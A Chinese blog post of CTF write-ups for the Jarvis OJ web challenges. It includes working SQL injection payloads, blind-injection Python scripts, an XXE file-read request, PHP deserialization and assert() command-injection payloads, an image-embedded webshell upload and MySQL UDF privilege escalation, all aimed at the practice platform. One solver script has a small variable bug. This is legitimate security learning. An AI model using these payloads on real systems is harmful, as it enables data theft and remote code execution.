MitAh's Blog
Jarvis OJ web writeup
  • 2017年10月21日
  • CTF writeup
  • 0评论
  • 1275汉字
  • 1569围观

做题使我快乐。

从 xr1s 那发现一个有趣的平台
jarvisoj

随手记录一下刷题日志


PORT51

PORT51
Please use port 51 to visit this site.

curl大法好

curl web.jarvisoj.com:32770 --local-port 51


LOCALHOST

LOCALHOST
localhost access only!!

curl大法好

curl web.jarvisoj.com:32774 -H 'x-forwarded-for:127.0.0.1'


Login

Login

F12 看 response 包

Hint:"select * from `admin` where password='".md5($pass,true)."'"

md5($pass,true) 会将 md5 后的 hex 转换为字符串,只要找一个 'or'xxx 这样的即可。
百度随便搜了一个 ffifdyop,丢进输入框,getflag


神盾局的秘密

神盾局的秘密

右键看源码 lfi+base64 的简单套路

看一下index.php

<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

指了条路shield.php + php 反序列化

看一下shield.php


<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

直接访问 pctf.php 看见一个 flag,别想了肯定是假的

用 lfi 去读 pctf.php 也不行,showimg.php 源码里把 pctf 给 ban 了

所以就只能乖乖的去构造序列化后的值

<?php
   //flag is in pctf.php     
   class Shield {
       public $file;
       function __construct($filename = '') {
           $this -> file = $filename;
       }                  
       function readfile() {
           if (!empty($this->file) && stripos($this->file,'..')===FALSE
           && stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
               return @file_get_contents($this->file);             
           }         
       }     
   }

   $obj = new Shield();
   $obj->file = 'pctf.php';
   echo serialize($obj);

   //O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
?>

payload:
index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

<?php
    //Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
    //Fake flag:
    echo "FLAG: PCTF{I_4m_not_fl4g}"
?>


IN A Mess

IN A Mess

右键看源码 <!--index.phps-->

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}

?>

phptrick
id=. 即可绕过
a=php://input 用伪协议来绕
b=%00123456 用00截断来绕 eregi

POST /index.php?id=.&a=php://input&b=%0012345 HTTP/1.1
Host: web.jarvisoj.com:32780
......

1112 is a nice lab!

获取一个新目录 /^HT2mCpcvOLf

一个还是比较简单的 sql 注入

过滤掉一些关键字 可以用双写绕过 空格用注释来绕

以此爆库名表名字段名 最终 payload:

index.php?id=0/*1*/uniunionon/*1*/seleselectct/*1*/1,2,context/*1*/frfromom/*1*/content%23

getflag


RE

https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172
咦,奇怪,说好的WEB题呢,怎么成逆向了?不过里面有个help_me函数挺有意思的哦

emmm... 一个 so 文件

有个叫 udf 提权的好玩东西

> show variables like "%plugin%";
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+

把 udf.so 移到该目录下

> create function help_me returns string soname 'udf.so';
> select help_me();
+---------------------------------------------+
| help_me()                                   |
+---------------------------------------------+
| use getflag function to obtain your flag!!  |
+---------------------------------------------+

> create function getflag returns string soname 'udf.so';
> select getflag();
+------------------------------------------+
| getflag()                                |
+------------------------------------------+
| PCTF{Interesting_U5er_d3fined_Function}  |
+------------------------------------------+

> drop function help_me;
> drop function getflag;


flag在管理员手里

flag在管理员手里
Only Admin can see the flag!!

瞎试了几个cookie user=admin 之类的,并没什么效果。
毫无头绪,搜了下 PCTF 的 writeup,告诉我在 index.phps 里有源码,然而我并没有找到。
请教 xr1s 告诉我 index.php~ 至于为什么 也不知道...

<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
    body {
        background:gray;
        text-align:center;
    }
</style>
</head>

<body>
    <?php
        $auth = false;
        $role = "guest";
        $salt =
        if (isset($_COOKIE["role"])) {
            $role = unserialize($_COOKIE["role"]);
            $hsh = $_COOKIE["hsh"];
            if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
                $auth = true;
            } else {
                $auth = false;
            }
        } else {
            $s = serialize($role);
            setcookie('role',$s);
            $hsh = md5($salt.strrev($s));
            setcookie('hsh',$hsh);
        }
        if ($auth) {
            echo "<h3>Welcome Admin. Your flag is
        } else {
            echo "<h3>Only Admin can see the flag!!</h3>";
        }
    ?>

</body>
</html>

可以利用 md5长度拓展攻击
百度能搜到一片详解,我就不多赘述了
提供一个比较清晰的 http://www.jianshu.com/p/e8eea8a6ce14

学习到的新姿势
1 >> https://github.com/iagox86/hash_extender 一个很棒的 hash_extender 工具
2 >> unserialize() php 反序列化可以被 00 截断


Chopper

Chopper
小明入侵了一台web服务器并上传了一句话木马,但是,管理员修补了漏洞,更改了权限。更重要的是:他忘记了木马的密码!你能帮助他夺回控制权限吗?


Easy Gallery

Easy Gallery

经典的 upload + lfi
把 shell 代码写到图片最后,上传

copy MitAh.jpg/b+shell.php/a hack.jpg

在文件名后跟一个 %00 截断,包含一下... 嗯?被 waf 给吃了...
简单测试一下,发现 <?php 给 ban 掉了
我知道的有两种绕过方式
1 >> <? phpinfo(); ?> 短标签,需要 php.inishort_open_tag = on
2 >> <script language="php"> phpinfo(); </script> 在 PHP7 中被移除了。

这道题用第二种方法就过了
xr1s 试了试告诉我这题好像就检测两个关键字
出现 <?php 就被 ban
出现 <script language="php"> 就给 flag ,改大小写都不行...
好硬的编码......


Simple Injection

Simple Injection
随手测试一下

username = 'or'1'='1'#
password = 123
密码错误

username = 'or'1'='2'#
password = 123
用户名错误

可以根据返回值不同进行布尔盲注

直接丢脚本吧

#encoding='utf-8'
import requests
s = requests.session()
url = "http://web.jarvisoj.com:32787/login.php"
# sqlquery = "SELECT schema_name FROM information_schema.schemata LIMIT 1,1".replace(' ','/**/')
# sqlquery = "SELECT table_name FROM information_schema.tables WHERE table_schema='injection' LIMIT 0,1".replace(' ','/**/')
# sqlquery = "SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='admin'".replace(' ','/**/')
sqlquery = "SELECT GROUP_CONCAT(username,password) FROM admin".replace(' ','/**/')
headers = {
    'cookie': 'UM_distinctid=15ef59f28da89-053f791bbce6e3-791238-100200-15ef59f28db58; PHPSESSID=0f5slnern6bs7r3oh8mar35qs4'
}

finish = False
len = 1
result = ''

while not finish:
    left = 0x19
    right = 0x80
    while True:
        c = (left + right) // 2
        data = {
            'username': "'or/**/ASCII(SUBSTR(({}),{},1))>{}#".format(sqlquery, len, c),
            'password': "123"
        }
        res = s.post(url, headers=headers, data=data)
        res.encoding = 'utf-8'
        text = res.text
        # print(text)
        if '用户名错误' in text:
            if c == left:
                if left == 0x19:
                    finish = True
                    break
                print('result: ', left)
                result += chr(left)
                break
            print('<= ', c)
            left = left
            right = c
        if '密码错误' in text:
            if c == left:
                print('result: ', right)
                result += chr(right)
                break
            print('> ', c)
            left = c
            right = right
    len += 1

print(result)

# database: injection
# table: admin
# column: id,username,password
# username: admin
# password: 334cfb59c9d74849801d5acdcfdaadc3 (eTAloCrEP)


api调用

api调用
请设法获得目标机器/home/ctf/flag.txt中的flag值。

怎么就突然 XXE 了呢?...
不是很懂...

POST /api/v1.0/try HTTP/1.1
Host: web.jarvisoj.com:9882
Content-Length: 199
Origin: http://web.jarvisoj.com:9882
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
Content-Type: application/xml
Accept: */*
Referer: http://web.jarvisoj.com:9882/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: UM_distinctid=15ef59f28da89-053f791bbce6e3-791238-100200-15ef59f28db58; PHPSESSID=0f5slnern6bs7r3oh8mar35qs4
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>


PHPINFO

PHPINFO

一道之前做过 session 序列化的题目,当时就看着 writeup 复现的
不写过程了
writeup:http://www.bubuko.com/infodetail-2046691.html


WEB?

WEB?

什么都没有
看看源码,有个 app.js
找个在线网站格式化一下先
代码有点长...
搜了一下 password 找到这段代码

$.post("checkpass.json", t,
function(t) {
    self.checkpass(e) ? self.setState({
        errmsg: "Success!!",
        errcolor: b.green400
    }) : (self.setState({
        errmsg: "Wrong Password!!"
        ......
    }))
})

再搜一下 checkpass,找到这个函数

function(e) {
    if (25 !== e.length) return ! 1;
    for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n));
    for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) {
        for (var i = 0, a = 0; a < 25; a++) i += t[a] * o[n][a];
        if (i !== r[n]) return ! 1
    }
    return ! 0
}

一个 25 元方程组
python 里有个模块 numpy 可以直接解

import numpy as np
o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]]
r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
o = np.array(o)
r = np.array(r)
x = np.linalg.solve(o,r)
string = ''
for i in x:
    result += chr(int(str(i)[0:-2]))
print(result)

getflag


[61dctf]admin

[61dctf]admin

什么都没有
robots.txt 里翻到 /admin_s3cr3t.php
emmm... 是一个假 flag
改一下 cookie: admin=1
getflag


babyphp

babyphp

在 about 页面得到提示 git
应该是 .git 泄露,用 GitHack 拖一下源码

index.php 中的关键代码

<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

assert 这个函数也是 webshell 的常客了,作用类似于 eval
这道题里,可以构造 $page 来进行 RCE

index.php?page=flag','..') === false and system('cat ./templates/flag.php');//


inject

inject
Hint1: 先找到源码再说吧~~

emmm 又要找源码
把常见的几个姿势都试过一遍之后,没有结果,想起之前做的那道题,试了下 index.php~
果然找到了源码...

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

一道 sql 注入题
在本地试了一下,发现这个反引号好神奇

> select * from `pgg` `zhedoushiwoluandade`;
+----+------------------------------+--------------+--------+-------------+
| id | name                         | age          | height | bwh         |
+----+------------------------------+--------------+--------+-------------+
|  1 | 隅野沙耶香                    | NULL         | NULL   | NULL        |
+----+------------------------------+--------------+--------+-------------+

> desc `pgg` ``;
+--------+----------+------+-----+---------+----------------+
| Field  | Type     | Null | Key | Default | Extra          |
+--------+----------+------+-----+---------+----------------+
| id     | int(11)  | NO   | PRI | NULL    | auto_increment |
| name   | char(20) | YES  |     | NULL    |                |
| age    | char(20) | YES  |     | NULL    |                |
| height | char(20) | YES  |     | NULL    |                |
| bwh    | char(20) | YES  |     | NULL    |                |
+--------+----------+------+-----+---------+----------------+

> desc `pgg` `zheyeshiwoluandade`;
Empty set (0.02 sec)

感觉在 mysql 里反引号的各种黑魔法很神奇...
回去要好好研究研究,这里解题已经足够了

payload:
index.php?table=test` `union select user() limit 1,1 %23

第一条语句拼接后
> desc `secret_test` `union select user() limit 1,1 #`;
# Empty set
只要第一组反引号中的表名存在,第二组反引号中随便写都不会报错。

第二条语句拼接后
> select 'flag{xxx}' from secret_test` `union select user() limit 1,1 #`;
# ctf@localhost
这里的反引号作用相当于空格

index.php?table=test` `union select GROUP_CONCAT(schema_name) from information_schema.schemata limit 1,1 %23
# 库名 61d300,information_schema,test

index.php?table=test` `union select GROUP_CONCAT(table_name) from information_schema.tables where table_schema=0x363164333030 limit 1,1 %23
# 表名 secret_flag,secret_test

index.php?table=test` `union select GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1 %23
# 字段名 flagUwillNeverKnow

index.php?table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1 %23
# flag{luckyGame~}


register

register
Hint1: 二次注入
Hint2: register 二次注入在country

这题还是蛮难的...

hint 已经告知这题是二次注入,并且给出了注入点。
主要就是要找出 country 的变化会使得哪些地方发生变化
在站里乱逛一大圈,最后发现 userinfo 页面的 data 会有微小的改变
country 不同带来的时区不同... 只能说情理之中,意料之外吧。
没错报错,没有回显,只有时间这种很小的变化点,找不到就做不出来。
这个还是得佩服出题人,思路清奇。

简单测试可以发现

country='or'2'>'1'#
country='or'2'<'1'#
登陆之后在 userinfo 页面的 data 会有几个小时的时差
可以利用这点来进行布尔盲注

另外还有一点比较难受的是
在手注过程中发现关键字 information_schema 被 ban 掉了
花了好多时间去想办法绕过,都失败了,不知道怎么获取表名

最后搜了一下题解,writeup 里靠的是猜测表名 users ....
还有就是一些关键字被过滤了 (where, limit ...),并不算很难绕过
然后就没有什么难点了,直接跑脚本

#encoding='utf-8'
import requests
import re

url0 = "http://web.jarvisoj.com:32796/index.php"
url1 = "http://web.jarvisoj.com:32796/register.php"
url2 = "http://web.jarvisoj.com:32796/login.php"
url3 = "http://web.jarvisoj.com:32796/index.php?page=info"

sqlquery = "SELECT GROUP_CONCAT(a) FROM (SELECT 1,2,3`a`,4,5 UNION SELECT * from users)`b`"

finish = False
len = 1
result = ''
num = 0

while not finish:
    left = 0x19
    right = 0x80
    while True:
        c = (left + right) // 2
        data1 = {
            "country": "'or ASCII(SUBSTR(({}),{},1))>{}#".format(sqlquery, len, c),
            "username": "MitAh"+str(num),
            "password": "123123",
            "address": "123123"
        }
        data2 = {
            "username": "MitAh"+str(num),
            "password": "123123"
        }
        num += 1
        s = requests.session()
        s.get(url0)
        s.post(url1, data=data1)
        s.post(url2, data=data2)
        res = s.get(url3)
        text = res.text
        # 根据不同情况修改
        if re.findall('2017-10-(.*) ',text)[0] == '09':
            if c == left:
                if left == 0x19:
                    finish = True
                    break
                print('result: ', left)
                result += chr(left)
                break
            # print('<= ', c)
            left = left
            right = c
        if re.findall('2017-10-(.*) ',text)[0] == '10':
            if c == left:
                print('result: ', right)
                result += chr(right)
                break
            # print('> ', c)
            left = c
            right = right
    len += 1
print(result)
# 9a73fd18fedd9643357ffe20b9d974e4
# CleverBoy

获取密码后登陆 admin 账号,在 manage 页面找到 flag


0 评论

分类目录
赞助二维码

支付宝

评论表情